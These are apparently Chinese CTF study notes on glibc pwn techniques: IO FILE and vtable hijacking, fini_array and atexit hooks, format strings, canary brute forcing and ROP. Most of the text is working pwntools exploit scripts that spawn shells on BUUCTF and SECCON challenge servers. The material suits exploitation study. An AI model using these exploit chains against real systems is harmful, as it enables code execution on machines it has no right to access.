由于__libc_atexit其实是libc里面的一个段,所以我们就相当于遍历这个段里面的所有指针,对于一案的libc来说,里面其实只有一个函数指针的长度,在libc_2.34中这个函数指针就是_IO_cleanup,我们如果把这个里面保存的值修改了,那么我们就相当于也是hook住了函数
RUN_HOOK展开,把glibc源码里面的定义放到c里面
写如下程序
1 2 3 4 5 6 7 8 9 10 11 12 #define symbol_set_first_element(set) ((void *const *) (&__start_##set)) #define symbol_set_end_p(set, ptr) ((ptr) >= (void *const *) &__stop_##set) # define RUN_HOOK(NAME, ARGS) \ do { \ void *const *ptr; \ for (ptr = (void *const *) symbol_set_first_element (NAME); \ ! symbol_set_end_p (NAME, ptr); ++ptr) \ (*(__##NAME##_hook_function_t *) *ptr) ARGS; \ } while (0) int main () { RUN_HOOK (__libc_atexit, ()); }
gcc 1.c -E
1 2 3 4 5 6 7 int main () { do { void *const *ptr= (void *const *) ((void *const *) (&__start___libc_atexit)); for (; ptr<(void *const *) &__stop___libc_atexit; ++ptr) (*(____libc_atexit_hook_function_t *) *ptr) (); } while (0 ); }
&start _libc_atexit就是__libc_atexit的段起始地址
&stop _libc_atexit就是__libc_atexit的结束地址
IO flush seccon2022-babyfile 见csdn
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 #!/usr/bin/python3 # -*- coding: utf-8 -*- from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./chall" parm=elf_path elf = ELF(elf_path) context(arch=elf.arch, log_level="debug") libc = elf.libc if len(sys.argv) > 1: remote_ip = "babyfile.seccon.games" remote_port =3157 io = remote(remote_ip, remote_port) else: io = process(parm) def flush(): sla("> ", "1") def modify(off, val): sla("> ", "2") sla("offset: ", str(off)) sla("value: ", str(val)) def change(off,val): for i in range(8): modify(off,val&0xff) off+=1 val=val>>8 def ROL(content, key): tmp = bin(content)[2:].rjust(64, '0') return int(tmp[key:] + tmp[:key], 2) modify(0xd8,0xa8) flush() modify(0xd8,0xa0) modify(8*5,0x40)#随便一个,只要保证_IO_write_base!=_IO_write_ptr即可 flush() modify(8*14,1)#fileno modify(8*5,0x78)#wirte_ptr modify(8*4,0x70)#write_base modify(8*2,0x70)#_IO_read_end=write_base flush() libc_base=u64(ru(b"\x7f").ljust(8,b"\x00"))+0x7f60d3a44000-0x7f60d3c2cf60 __pointer_chk_guard_addr=libc_base+0x1f3570#大本地就是0x1f35f0 change(8*5,__pointer_chk_guard_addr+0x8)#write_ptr change(8*4,__pointer_chk_guard_addr)#write_base change(8*2,__pointer_chk_guard_addr)#read_end flush() __pointer_chk_guard=u64(r(8)) _IO_cookie_jumps=libc_base+0x1e8a20 system_addr=libc_base+libc.sym["system"] func_value=ROL(system_addr^__pointer_chk_guard,0x11)#需要异或左移一下 change(0xf0,func_value)#指针的值 change(0xd8,_IO_cookie_jumps+0x18)#修改vtable对到write change(0xe0,libc_base+0x1b45bd-0x100000000)#这里是bin/sh的地址,但不知道为什么它会多0x100000000,所以就减掉了 flush() it()
scanf espcially_tu_2016 BUUCTF在线评测 (buuoj.cn)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 pop_one_ret=0x0804839d bss_addr=0x804a300 leave_ret=0x08048488 pop_two_ret=0x0804864e pop_ebp_ret=pop_two_ret+1 sla(b"What's your name?\n" ,b"a" *0x2c +p32(elf.plt["puts" ])+p32(pop_one_ret)+p32(elf.got["puts" ])+p32(elf.plt["puts" ])+p32(pop_one_ret)+p32(elf.got["puts" ])+p32(0x8048410 )+p32(pop_two_ret)+p32(0x80486AF )+p32(bss_addr)+p32(0x8048410 )+p32(pop_two_ret)+p32(0x80486AF )+p32(bss_addr+8 )+p32(pop_ebp_ret)+p32(bss_addr-4 )+p32(leave_ret)) sla(b"What's your favorite number?\n" ,b"1" ) ru(b"number!\n" ) libc_base=u32(ru(b"\xf7" ))-libc.sym["puts" ] #sleep(1) sl(str(libc_base+libc.sym["system" ]-(1 <<32 ))) sl(str(libc_base+next(libc.search(b"/bin/sh" ))-(1 <<32 ))) #s(p32(libc_base+libc.sym["system" ])+p32(0)+p32(libc_base+next(libc.search(b"/bin/sh" )))) it()
fclose xman夏令营选排位赛_2018_challenge1 BUUCTF在线评测 (buuoj.cn)
一个简答利用伪造IO进行的题目
利用点是fclose,通过溢出把stream地址改为我们的bss
由于_IO_un_link不可以伪造,所以0x2000 _IO_IS_FILEBUF 的值
,由于flag刚好是io的第一个头,所以2对应的那个bit不可以是1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 static inline void __attribute__ ((__always_inline__)) _IO_acquire_lock_fct (FILE **p) { FILE *fp = *p; if ((fp->_flags & _IO_USER_LOCK) == 0 ) _IO_funlockfile (fp); } # define _IO_funlockfile(_fp) \ if (((_fp)->_flags & _IO_USER_LOCK) == 0) \ _IO_lock_unlock (*(_fp)->_lock) #endif #define _IO_lock_unlock(_name) \ do { \ if (--(_name).cnt == 0) \ { \ (_name).owner = NULL; \ lll_unlock ((_name).lock, LLL_PRIVATE); \ } \ } while (0)
所以这里面不能去调用,所以#define **[_IO_USER_LOCK](https://elixir.bootlin.com/glibc/glibc-2.23/C/ident/_IO_USER_LOCK)** 0x8000
,所以8对应的这个bit应该为1
这一步无所谓,因为if肯定为false根据第一部的伪造
实际好像release这里没什么效果,因为我确实页没有上锁,跳过了,_IO_FINISH刚好是jmp table里面的所以可以劫持,刚好位于vtable+0x10偏移
所以开始攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 修改stream的地址为我们的伪造 fake_stream = b"a" * 0x100 + p64(0x6010C0 )#这里因为是gets,所以不能有0 sla(b">" , b"1" ) sl(fake_stream) fake_file = b"a" * 0xD8 + p64(0x6010C0 )#修改vtable地址 sla(b">" , b"1" ) sl(fake_file) sla(b">" , b"1" ) fake_vtable = b"a" * 0x10 + p64(0x400897 )#修改function为backdoor sl(fake_vtable) sla(b">" , b"1" ) sl(b"a\x80" )#只用修改这一位为1 就好 sla(b">" , b"3" ) it()
close d3ctf_2019_unprintablev BUUCTF在线评测 (buuoj.cn)
覆盖stdin位stderr达到回显一次的目的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from git import RootUpdateProgress from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./d3ctf_2019_unprintablev" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0xF1147 , 0x45216 , 0x4526A , 0xF02A4 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 25356 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b *$rebase(0xA20) b *$rebase(0xB57) c set *(char *)(*(unsigned long int *)$rebase(0x202020)+0x70)=2 c c c c c c c c c c c c c c c c c c c c c c c c c c c " "" gdb.attach(io, gdbscript=gdbscript) # 16 ~96 def add(size: int ): sla(b">> " , b"1" ) sa(b"size: " , str(size).encode()) def free (index: int ): sla(b">> " , b"3" ) sla(b"offset: " , str(index).encode()) # def show(index: int): # sla(b"choice :\n" , b"2" ) # sla(b"input note id: " , str(index).encode()) def edit(index: int , content: bytes): sla(b">> " , b"2" ) sla(b"age of user: " , str(index).encode()) sa(b"username: " , content) def convert_str_asmencode(content: str): out = "" for i in content: out = hex(ord(i))[2 :] + out out = "0x" + out return out ru(b"gift: " ) stack_addr = int (r(14 ), 16 ) ru(b"test!\n" ) s(f"%{(stack_addr&0xff)}c%6$hhn" ) sleep(0.5 ) s(f"%{0x20}c%10$hhn" ) sleep(0.5 ) s(f"%{0x1680}c%9$hn" ) # debug() # 泄露libc s("%15$p+%14$p" ) libc_base = int (r(14 ), 16 ) - libc.sym["__libc_start_main" ] - 231 ru(b"+" ) elf_base = int (r(14 ), 16 ) - elf.sym["__libc_csu_init" ] # 修改ret_addr为leave,ret leave_ret = 0x9F8 + elf_base ret_addr = stack_addr + 0x30 while leave_ret != 0 : s(f"%{ret_addr&0xff}c%6$hhn" ) sleep(0.5 ) s(f"%{leave_ret&0xff}c%10$hhn" ) sleep(0.5 ) ret_addr += 1 leave_ret = leave_ret >> 8 buf_addr = 0x202060 + elf_base rbp_addr = stack_addr + 0x28 while buf_addr != 0 : s(f"%{rbp_addr&0xff}c%6$hhn" ) sleep(0.5 ) s(f"%{buf_addr &0xff}c%10$hhn" ) sleep(0.5 ) rbp_addr += 1 buf_addr = buf_addr >> 8 # 修复rbp rbp_addr = stack_addr + 0x28 s(f"%{rbp_addr&0xff}c%6$hhn" ) shellcode = f"" " xor rsi,rsi; xor rdx,rdx; push rdx; mov rax,{convert_str_asmencode(" ././flag")}; push rax; mov rdi,rsp; xor rax,rax; mov al,2; syscall; mov rdi,rax; mov dl,0x40; mov rsi,rsp mov al,0; syscall; xor rdi,rdi; mov al,1; syscall; " "" mprotect_addr = libc_base + libc.sym["mprotect" ] pop_rdi_ret = 0xBC3 + elf_base pop_rsi_ret = 0x23E6A + libc_base pop_rdx_ret = 0x1B96 + libc_base buf_addr = 0x202060 + elf_base payload = ( b"d^3CTF\0\0" + p64(pop_rdx_ret) + p64(7 ) + p64(pop_rsi_ret) + p64(0x1000 ) + p64(pop_rdi_ret) + p64(buf_addr & 0xFFFFFFFFFFFFF000 ) + p64(mprotect_addr) + p64(buf_addr + 0x48 ) + asm (shellcode) ) s(payload) it()
stdin任意地址写 whctf2017_stackoverflow BUUCTF在线评测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 sa(b"bro:" , b"a" * 79 + b"b" ) ru(b"b" ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - libc.sym["_IO_2_1_stdout_" ] sla(b"stackoverflow: " , str(7100704 - 0x18 ).encode()) sla(b"stackoverflow: " , str(0x300000 ).encode()) sa(b"ropchain: " , b"a" ) malloc_hook_addr = libc_base + libc.sym["__malloc_hook" ] sa(b"stackoverflow: " , b"a" * 0x18 + p64(malloc_hook_addr) + p64(malloc_hook_addr + 8 )) sa(b"padding and ropchain: " , b"a" ) for i in range(0x27 ): sa(b"padding and ropchain: " , b"a" ) sa(b"stackoverflow: " , p64(libc_base + 0xF1147 )) it()
ciscn2018_echo_back BUUCTF在线评测
修改IO_buf_base,之后再scanf的时候调用___IO_new_file_underflow实现往_IO_buf_base开始写入地址,就可以覆盖到buf_base,buf_ptr.这个时候同时修改他们,指向我们的ret_addr,就可以达到写入rop的效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 def setname (name: bytes) : sa (b"choice>> " , b"1" ) sa (b"name:" , name) def echoback (payload: bytes) : sa (b"choice>> " , b"2" ) sla (b"length:" , b"7" ) s (payload) echoback (b"%19$p" ) ru (b"say:" ) libc_base = int (r(14 ), 16 ) - libc.sym["__libc_start_main" ] - 240 echoback(b"%12$p" ) ru(b"say:" ) ret_addr = int (r(14 ), 16 ) + 8 _IO_2_1_stdin_addr = libc_base + libc.sym["_IO_2_1_stdin_" ] _IO_2_1_stdin_addr__IO_buf_base = _IO_2_1_stdin_addr + 56 setname(p64(_IO_2_1_stdin_addr__IO_buf_base)) echoback(b"%16$hhn" ) sa(b"choice>>" , b"2" ) sa(b"length:" , b"a" * 0x18 + p64(ret_addr) + p64(ret_addr + 0x20 )) s(b"a" ) for i in range(0x27 ): echoback(b"a" ) pop_rdi_ret = 0x21102 + libc_base bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0" )) system_addr = libc_base + libc.sym["system" ] sa(b"choice>>" , b"2" ) sa(b"length:" , p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)) s(b"a" ) sa(b"choice>>" , b"3" ) it()
劫持_rtld_global函数 _dl_rtld_unlock_recursive hctf2018_the_end BUUCTF在线评测 (buuoj.cn)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ru(b"gift " ) libc_base = int (r(14 ), 16 ) - libc.sym["sleep" ] ld_base = libc_base + 0x3F1000 ld = ELF("./ld-2.27.so" ) _dl_rtld_unlock_recursive = ld_base + ld.sym["_rtld_global" ] + 0xF08 one_gadget_addr = libc_base + one_gadget[1 ] s(p64(_dl_rtld_unlock_recursive)) s(p8(one_gadget_addr & 0xFF )) s(p64(_dl_rtld_unlock_recursive + 1 )) s(p8((one_gadget_addr >> 8 ) & 0xFF )) s(p64(_dl_rtld_unlock_recursive + 2 )) s(p8((one_gadget_addr >> 16 ) & 0xFF )) s(p64(_dl_rtld_unlock_recursive + 1 )) s(p8((one_gadget_addr >> 8 ) & 0xFF )) s(p64(_dl_rtld_unlock_recursive + 2 )) s(p8((one_gadget_addr >> 16 ) & 0xFF )) sl(b"exec 1>&0" ) it()
栈 alloca secconctf2016_cheer_msg 这个题目主要是可以把alloca的参数变成负数,这样就会导致栈迁移方向改变,进而在造成溢出 如果控制的好的话,这里eax就是alloca参数,如果eax是负数,那么esp就会变大,进而造成栈溢出修改main函数的返回地址
1 2 3 4 5 6 7 8 sla(b"Message Length >> ",str(-0x80)) payload=b"a"*0x10+p32(elf.plt["printf"])+p32(elf.sym["main"])+p32(elf.got["printf"])#main函数栈溢出 sla(b"Name >> ",payload) libc_base=u32(ru(b"\xf7")[-4:])-libc.sym["printf"] sla(b"Message Length >> ",str(-0x80)) payload=b"a"*0x10+p32(libc_base+libc.sym["system"])+b"a"*4+p32(libc_base+next(libc.search(b"/bin/sh\0"))) sla(b"Name >> ",payload) it()
溢出覆盖关键内容 canary异常处理 checker_seccon_2016 不过这个高版本被修复了,没有__libc_argv了 所以只要覆盖__libc_argv[0]处为指向我们想要泄露的内容就可以 p __libc_argv
1 2 3 4 5 6 sla(b"NAME : ",b"a") for i in range(8): sla(b">>",b"a"*(0x180-i))#清空内容为\x00 sla(b">> ",b"yes") sla(b"FLAG : ",b"a"*0x178+p64(0x6010C0))#这里不清空高位的话会错误 it()
另一种 pwnable_loveletter 溢出覆盖memcpy长度 这里的第一个字符串是e,如果只复制过来一个,那就是e 可以利用env sh -c bash aaaaaa sh -c bash aaaaa,会忽视第二个参数,不管第二个输入什么,刚好可以过滤掉我们的脏内容 刚好size是在之前保存的,可以溢出 这里实现有问题,他会把字符串出现问题的一个字母替换三个,导致溢出,产生漏洞 所以可以直接溢出 所以整体还是很巧妙的,需要利用各种各样的条件,好题目,env,sh -c的特性也很好
1 2 sl(b"nv sh -c bash".ljust(253,b" ")+b"`\x01") it()
栈喷 1 2 3 4 5 ru(b"Current position: ") stack=int(r(14),16)+0x600 sla(b"> ",asm("nop")*0xf00+asm(shellcraft.sh())) sla(b"> ",hex(stack)[2:]) it()
比较简单的栈喷
picoctf_2018_gps BUUCTF在线评测 (buuoj.cn)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ru(b"Current position: " ) stack_addr=int (r(14 ),16 )+0x300 shellcode="" " xor rdx,rdx; xor rsi,rsi; push rsi; mov rax, 0x68732f2f6e69622f; push rax; mov rdi,rsp; xor rax,rax; mov al,59; syscall " "" sla(b"> " ,b"\x90" *0x900 +asm (shellcode)) sla(b"> " ,hex(stack_addr)[2 :]) it()
能划入shellcode就好
数组越界 wdb-2022-main 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 from pwn import *it = lambda : io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True ) r = lambda x: io.recv(x) rl = lambda : io.recvline() rld = lambda : io.recvline(keepends=False ) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./main" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len (sys.argv) > 1 : remote_ip = "39.105.108.53" remote_port =28784 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug (): global io gdbscript = """ b *$rebase(0x145F) c x/xg $rebase(0x44C8) """ gdb.attach(io, gdbscript=gdbscript) def add (size,data ): sl(b"1" ) sa(b"Please enter your data:\n" ,data) sa(b"ength of your data:\n" ,size) def echo (index ): sl(b"2" ) sla(b"number of your data:\n" ,str (index)) def free (index ): sla(b"Your choice : " , b"2" ) sla(b"game's index:\n" ,str (index)) ru(b"Type '3' to exit the program" ) for i in range (10 ): add(b"10" ,b"1" *0x63 +b"1" ) add(b"10\n" ,b"8" *9 +b"\n" ) echo(-3 ) load_addr=u64(rld().ljust(8 ,b"\0" ))+0x5568dd249000 -0x5568dd2496b8 add(b"10\n" ,b"\n" ) ru(b"Your entry number 11 is to large\n" ) for i in range (9 ): add(b"10" ,b"1" *0x63 +b"1" ) add(b"1\n" ,b"1" *0x40 +p32(0xfffffffe )+b"\n" ) printf_addr=load_addr+elf.plt["puts" ] add(b"10\n " ,b"a" *4 +p32(printf_addr&0xffffffff )+p16((printf_addr>>32 )&0xffff )+b"\n" ) add(b"1\n" ,b"aaaa\n" ) sl(b"4" ) ru(b"will be helpful\n" ) sl(b"2" ) libc_base=u64(rld().ljust(8 ,b"\0" ))-0x7f20043426a0 +0x7f2004155000 sla(b"number of your data:\n" ,b"0" ) for i in range (1 ,10 ): add(b"10" ,b"1" *0x63 +b"1" ) add(b"1\n" ,b"1" *0x40 +p32(0xfffffffe )+b"\n" ) system_addr=libc_base+libc.sym["system" ] add(b"10\n" ,b"a" *4 +p32(system_addr&0xffffffff )+p16((system_addr>>32 )&0xffff )+b"\n" ) add(b"10\n" ,b"/bin/sh\0" ) sl(b"2" ) it() exit(0 ) print (rl())it()
arr_sun_2016 BUUCTF在线评测 (buuoj.cn)
表面上看上去无法向下溢出
但是这里汇编实现是可以溢出的
比如说我们像输入v1=0xd
输入0x8000000d就好,这个刚好也是负数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 sa(b"What should I call you? \n" ,b"a" *9 ) sla(b"enter index\n" ,str(0x8000000d -(1 <<32 ))) sla(b"enter value\n" ,str(elf.plt["__isoc99_scanf" ])) pop_2_ret=0x080487ba sla(b"enter index\n" ,str(0x8000000e -(1 <<32 ))) sla(b"enter value\n" ,str(pop_2_ret)) fmt_s=0x804882F sla(b"enter index\n" ,str(0x8000000f -(1 <<32 ))) sla(b"enter value\n" ,str(fmt_s)) bss=0x08049B30 sla(b"enter index\n" ,str(0x80000010 -(1 <<32 ))) sla(b"enter value\n" ,str(bss)) backdoor=0x804857B sla(b"enter index\n" ,str(0x80000011 -(1 <<32 ))) sla(b"enter value\n" ,str(backdoor)) sla(b"enter index\n" ,str(0x80000013 -(1 <<32 ))) sla(b"enter value\n" ,str(bss)) sla(b"enter index\n" ,str(0x80000013 -(1 <<32 ))) sla(b"enter value\n" ,str(bss)) sla(b"enter index\n" ,str(0x80000013 -(1 <<32 ))) sla(b"enter value\n" ,str(bss)) sla(b"enter index\n" ,str(0x80000013 -(1 <<32 ))) sla(b"enter value\n" ,str(bss)) sla(b"enter index\n" ,str(0x80000013 -(1 <<32 ))) sla(b"enter value\n" ,str(bss)) sleep(1 ) sl(b"/bin/sh\0" ) it()
canary爆破 starctf2018_babystack BUUCTF在线评测 (buuoj.cn)
这个题目比较好,多线程里面canary会被放在栈上,所以可以通过栈溢出修改掉canary的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 def send (payload) : sla (b"send?\n" , str(len(payload)).encode()) s (payload) libc = ELF("./libc-2.27.so" ) lenss = 0x1800 while True: io = remote("node4.buuoj.cn" , 29614 ) canary = 12333222 payload = b"a" * 0x1008 + p64(canary) + b"b" * 8 + p64(0x4009E7 ) payload = payload.ljust(lenss, b"a" ) payload += p64(canary) send(payload) rl() if b"stack smashing detected" in rl(): io.close() lenss += 8 else : io.close() break io = remote("node4.buuoj.cn" , 29614 ) canary = 12333222 pop_rdi_ret = 0x400C03 pop_rsi_r15_ret = 0x400C01 leave_ret = 0x400955 bss_start_addr = 0x602300 payload = ( b"a" * 0x1008 + p64(canary) + p64(bss_start_addr - 8 ) + p64(pop_rdi_ret) + p64(elf.got["puts" ]) + p64(elf.plt["puts" ]) + p64(pop_rdi_ret) + p64(0 ) + p64(pop_rsi_r15_ret) + p64(bss_start_addr) + p64(0 ) + p64(elf.plt["read" ]) + p64(leave_ret) ) payload = payload.ljust(lenss, b"a" ) payload += p64(canary) send(payload) ru(b"\n" ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - libc.sym["puts" ] s( p64(pop_rdi_ret) + p64(libc_base + next(libc.search(b"/bin/sh\0" ))) + p64(libc_base + libc.sym["system" ]) ) sleep(0.1 ) sl(b"cat flag" ) it()
bctf_2018_bugstore BUUCTF在线评测 (buuoj.cn)
新的利用思路,当知道了libc地址后可以通过爆破修改lts的canary的值
距离libc0x6xx528处,爆破0x100即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 for i in range (0xFF + 1 ) : # io = process(elf_path) io = remote("node4.buuoj.cn" , 26652 ) sla(b"Your choice: " , b"F" ) s(b"%p%p%p%p%p%p%p%p%plibc:%p" ) ru(b"libc:" ) libc_base = int (r(14 ), 16 ) - 231 - libc.sym["__libc_start_main" ] offset = 0x600528 offset += i << 12 sla(b"choice: " , b"A" ) tls_canary_addr = libc_base + offset sl(str(tls_canary_addr)) try: sla(b"choice: " , b"S" ) one_gadget_addr = one_gadget[1 ] + libc_base sl(b"a" * 0x28 + p64(0x45524F5453475542 ) + b"a" * 8 + p64(one_gadget_addr)) it() except: io.close()
picoctf_2018_buffer overflow 3 BUUCTF在线评测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import * shell = ssh(host="node4.buuoj.cn" , user="CTFMan" , port=26682 , password="guest" ) def brute_force_canary(stack_len: int ): canary = b"" for i in range(4 ): for j in range(255 ): payload = b"a" * stack_len + canary + p8(j) io = shell.process("./vuln" ) io.sendlineafter(b"Buffer?\n" , b"1000" ) io.sendafter(b"Input> " , payload) if b"Stack Smashing Detected" in io.recvline(): io.close() else : io.close() break canary += p8(j) return canary canary = brute_force_canary(32 ) payload = b"a" * 32 + canary + b"b" * 0x10 + p32(0x80486EB ) io = shell.process("./vuln" ) io.sendlineafter(b"Buffer?\n" , b"1000" ) io.sendafter(b"Input> " , payload) io.interactive()
学到了怎么利用ssh远程执行 牛逼
fini_array pwnable_317 BUUCTF在线评测 (buuoj.cn)
这个题目很不错,学到了很多
漏洞点很明显,任意地址写,不过这里反汇编有点问题,再写过一次后就会被修改,然后就不可以写了,所以我们的目的就是想多次写
函数执行退出后会去libc_csu_finia
他会调用fini_array[1],fini_array[0]
那么我们如果把fini_array[1]改成main,fini_array[0]改成libc_csu_finial就可以无限执行main里面地址写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 fini_arr=0x4B40F0 libc_csu_finial=0x402960 main_addr=0X401B6D sla(b"addr:" ,str(fini_arr)) sla(b"data:" ,p64(libc_csu_finial)+p64(main_addr)) pop_rdi_ret=0x0000000000401696 sla(b"addr:" ,str(fini_arr+0x10 )) sa(b"data:" ,p64(pop_rdi_ret)+p64(fini_arr+0x58 ))#这里我们写入bin/sh pop_rsi_ret=0x0000000000406c30 sla(b"addr:" ,str(fini_arr+0x20 )) sa(b"data:" ,p64(pop_rsi_ret)+p64(0 )) pop_rdx_ret=0x0000000000446e35 sla(b"addr:" ,str(fini_arr+0x30 )) sa(b"data:" ,p64(pop_rdx_ret)+p64(0 )) pop_rax_ret=0x000000000041e4af sla(b"addr:" ,str(fini_arr+0x40 )) sa(b"data:" ,p64(pop_rax_ret)+p64(59 )) syscall=0x00000000004022b4 sla(b"addr:" ,str(fini_arr+0x50 )) sa(b"data:" ,p64(syscall)+b"/bin/sh\0" )
可以看到我们想把栈迁移到fini_array,但为什么能迁移呢
rbp就是我们fini_array的地址,如果我们再fini_array里面执行leave,就可以完成栈迁移了
这里由于我们是循环执行main,所以当我们修改完fini_arrya的时候这里执行的是fini_array[0],所以我们把fini_array[0]变成leave_ret,然后栈迁移,这个时候rsp就是fini_array+8,这个时候把finiarray[1]改成ret,然后就可以进入到后面的pop_ret,fini_array[0]和finiarryay[1]再前面布置的过程中不可以修改
allpayloads
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 fini_arr=0x4B40F0 libc_csu_finial=0x402960 main_addr=0X401B6D sla(b"addr:" ,str(fini_arr)) sla(b"data:" ,p64(libc_csu_finial)+p64(main_addr)) pop_rdi_ret=0x0000000000401696 sla(b"addr:" ,str(fini_arr+0x10 )) sa(b"data:" ,p64(pop_rdi_ret)+p64(fini_arr+0x58 ))#这里我们写入bin/sh pop_rsi_ret=0x0000000000406c30 sla(b"addr:" ,str(fini_arr+0x20 )) sa(b"data:" ,p64(pop_rsi_ret)+p64(0 )) pop_rdx_ret=0x0000000000446e35 sla(b"addr:" ,str(fini_arr+0x30 )) sa(b"data:" ,p64(pop_rdx_ret)+p64(0 )) pop_rax_ret=0x000000000041e4af sla(b"addr:" ,str(fini_arr+0x40 )) sa(b"data:" ,p64(pop_rax_ret)+p64(59 )) syscall=0x00000000004022b4 sla(b"addr:" ,str(fini_arr+0x50 )) sa(b"data:" ,p64(syscall)+b"/bin/sh\0" ) leave_ret=0x0000000000401c4b ret=0x0000000000401016 sla(b"addr:" ,str(fini_arr)) sa(b"data:" ,p64(leave_ret)+p64(ret)) it()
另一种exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 fini_arr=0x4B40F0 libc_csu_finial=0x402960 main_addr=0X401B6D sla(b"addr:" ,str(fini_arr)) sla(b"data:" ,p64(libc_csu_finial)+p64(main_addr)) pop_rsi_ret=0x0000000000406c30 sla(b"addr:" ,str(fini_arr+0x18 )) sa(b"data:" ,p64(pop_rsi_ret)+p64(0 )) pop_rdx_ret=0x0000000000446e35 sla(b"addr:" ,str(fini_arr+0x28 )) sa(b"data:" ,p64(pop_rdx_ret)+p64(0 )) pop_rax_ret=0x000000000041e4af sla(b"addr:" ,str(fini_arr+0x38 )) sa(b"data:" ,p64(pop_rax_ret)+p64(59 )) syscall=0x00000000004022b4 sla(b"addr:" ,str(fini_arr+0x48 )) sa(b"data:" ,p64(syscall)+b"/bin/sh\0" ) leave_ret=0x0000000000401c4b pop_rdi_ret=0x0000000000401696 sla(b"addr:" ,str(fini_arr)) sa(b"data:" ,p64(leave_ret)+p64(pop_rdi_ret)+p64(fini_arr+0x50 )) it()
ciscn_2019_sw_1 BUUCTF在线评测
利用格式化字符串修改fini_array为main地址从而劫持控制流,同时修改got表,然后第二次直接输入/bin/sh就可以
